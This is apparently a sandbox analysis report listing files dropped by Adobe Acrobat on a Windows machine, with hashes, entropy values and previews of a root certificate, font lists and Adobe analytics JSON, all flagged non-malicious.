Preview:	.... .c.....D.;................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.764745823915414
Encrypted:	false
SSDEEP:	3:kkFklIOoG+MlltfllXlE/HT8k+6XNNX8RolJuRdxLlGB9lQRYwpDdt:kKRI/eT86NMa8RdWBwRd
MD5:	3B273A18833791C66FD20244D1FC4475
SHA1:	EB6DB7A9E46C51A6347D91C9F5BED9437FFB9A8C
SHA-256:	598F056FB8EC3F87D5840CE9EACC6250F83BD7BCC3506924BA6E8C971EBCE2BB
SHA-512:	0E2C314225FCB51E0F4504C7C238A3119337C9C74751CA5085EB190A3FEEFE55961C8DC0B99A25171211BB7D04229C31AC97611809E33044F294837663004BD3
Malicious:	false
Preview:	p...... .........kL..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1231879617803053
Encrypted:	false
SSDEEP:	6:kKUGDL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:cGDiDnLNkPlE99SNxAhUe/3
MD5:	7D716DF41783D56C4CCDC71CB7E220C6
SHA1:	C5DD6F17A0EB72B19FD207E3BDCA639354E92A8D
SHA-256:	696F9E5967767A24B52E4B889FA05739807D48A6AD0A47C3D0E3299B53654B49
SHA-512:	9351F516210BCDD4DF06D74B189BED6F76D965E2C4BDC814FB9CFA01BF56A936EC14DC79B6156D25B921F4F2EA7088F9F51562A8EBF4BC50E30D1605923B4147
Malicious:	false
Preview:	p...... ........n....c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7792

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7792

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.32934166057222
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJM3g98kUwPeUkwRe9:YvXKXaOyxsdTeOnGMbLUkee9
MD5:	2E207F363514B3C4BFBE50F3B73D5B2A
SHA1:	46E39494C62AB7DEAEEC3AD71564C4D710F5C19C
SHA-256:	D1951989B4CD6DD282720528FA735601C1E301B348549C67C22EAB40B9471658
SHA-512:	BAE8308DF3CC72DD45F880EC9E73E2067D52E79799000D01A8EF2910566E286ABF30B61D1B8FA3B54FA4F7D385B2F0CAF7B413C54C0A1E442EC0E28AC2443DD6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.259197031306514
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJfBoTfXpnrPeUkwRe9:YvXKXaOyxsdTeOnGWTfXcUkee9
MD5:	1E3275ABB5E722C9CD3C22293753FECD
SHA1:	DAF03842D50DADCD07F2FECE794BA22B8E1EBE68
SHA-256:	F9F220B2DC3C9C302EED57C22372F9A83999EFC989408ADB5D0705904366859C
SHA-512:	38066B939ACB8F9DEC321EC422F0D4117FB6AD26F84C546069B095D043F1D1A517DDB550372DC391DC584A3B809E4D576045C023E23CDF21F76AA9A121208799
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.237617661387903
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJfBD2G6UpnrPeUkwRe9:YvXKXaOyxsdTeOnGR22cUkee9
MD5:	0D7D48BE58F26F9AB5489532A8CD30A1
SHA1:	E07AB723DF17B25AFBF6B793CD6A314FE2EE6762
SHA-256:	00BD57652D4FF7ECDF98B63FAC435DC6EB9233FB2B5178D29D0EEA378D19C0E2
SHA-512:	6096BA5A08AC4D3A4536BC9003BC2778713D6A4D5917815A10AE03A767A4B8BFF4428273891BA3DF6332B1CAACFB39196DC4D66C9D6C406EE236F453E79A7FF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.315026218964054
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJfPmwrPeUkwRe9:YvXKXaOyxsdTeOnGH56Ukee9
MD5:	8D6FFE7BD260AD20CD0AA95DB1D424FC
SHA1:	EC5DC90F2AA93C1344E683CC30A800E60773B54D
SHA-256:	909F0CD5FFE2661D98169D343760DB0F1D927613BA71CFC64D8079BE4F7932E0
SHA-512:	DAB0713A8D46A6EF88635E74D1B9560E39055A080DF3130A80962886A1011D547B1F7845069E2EA50E681B2E574C4823B5BCA7CD2992AB25F1A65D0DC3260AC5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.680724979486237
Encrypted:	false
SSDEEP:	24:Yv6XxyxmeOspLgE9cQx8LennAvzBvkn0RCmK8czOCCSS:YvAyMe/hgy6SAFv5Ah8cv/S
MD5:	D83DF48346A3637DE06893C84549CDE9
SHA1:	0E64EB207173CDA620A707E9BB27E2DAF5E38F79
SHA-256:	69126D0CED4171C222B95719B072BA54834F19AB8BA7A06189B2B1191FBB7069
SHA-512:	B8288D5C7232EC08557AFC6881BE660912BD383BFD941EC741CA3483F134392191918E41763F099CA4F93B81F8DA633A35DEE2CC8811775DA79E669A242A36DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.248729747569271
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJf8dPeUkwRe9:YvXKXaOyxsdTeOnGU8Ukee9
MD5:	EC80550A58C93C310D5140529B2368AF
SHA1:	D7AF4D9D38A0AEB5059E37E613CA548819DCC8A0
SHA-256:	67D512CF9A9E2D4729E45B85E539B9568F1252EFE2E1C866919527F53DB041D0
SHA-512:	D41F6C0763A669ED05BBDFA2666C51D58A92A8B2A72B165BFB5D47DCA501B5CC5494F47DE3C6143C256494686B07D09BE760A6E60AEF577BFEA10204439AF5F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.252430644062722
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJfQ1rPeUkwRe9:YvXKXaOyxsdTeOnGY16Ukee9
MD5:	CB08E4F477870157C5D01F024A4B5E8F
SHA1:	B97B6F6C65579B45A28203D5A9BF18347FB311AB
SHA-256:	2C9F4182567854D237CCD7FB34AE85BEF0DAD6057AC9624143C287474704E48E
SHA-512:	F501B027E9AD97C2ED38634B771F3F1F34C866E5087A7ABCE22A95D02F8121955810D2785641BFBCF9150AC69CBDA03C0EE65DB0B34583FCE30D7F3F3377862B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2717127787493006
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJfFldPeUkwRe9:YvXKXaOyxsdTeOnGz8Ukee9
MD5:	51F7292E2A41EE6EC6678AD8B6920A31
SHA1:	F5F4A8494AEE738191D6EE0D9A5E44FC23F46841
SHA-256:	3BF60AF0D690196B2AEB78A8A6AB4641FA80662A8ADF5C486C0E1BA321A7D22F
SHA-512:	8676E7F1C2C625517221E2D89FB57AACAACEFE99A2229174B38EA52EEADA258C9C7480F7281D0B8CDAF07CDBF06CE5E04A9FC7BAF8329C6E86DBAE2D300AD8E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.275855593411803
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJfzdPeUkwRe9:YvXKXaOyxsdTeOnGb8Ukee9
MD5:	DA638868D0C6AA014484D9BFF7FC885E
SHA1:	7BF95562AEEC1E2A3FD778E5860C0A3D8F420778
SHA-256:	29AC437B8F71C8790AC170FD6A0EE834D9B6255A9A591B7BB8626A59113F2474
SHA-512:	3A80D4F9E708F63B6FA652DE069E654516D91F0565C09A55C129300E7803C7616AC5395C069021339243B66720347187ACF85A87A5BD511735F766CD68665019
Malicious:	false
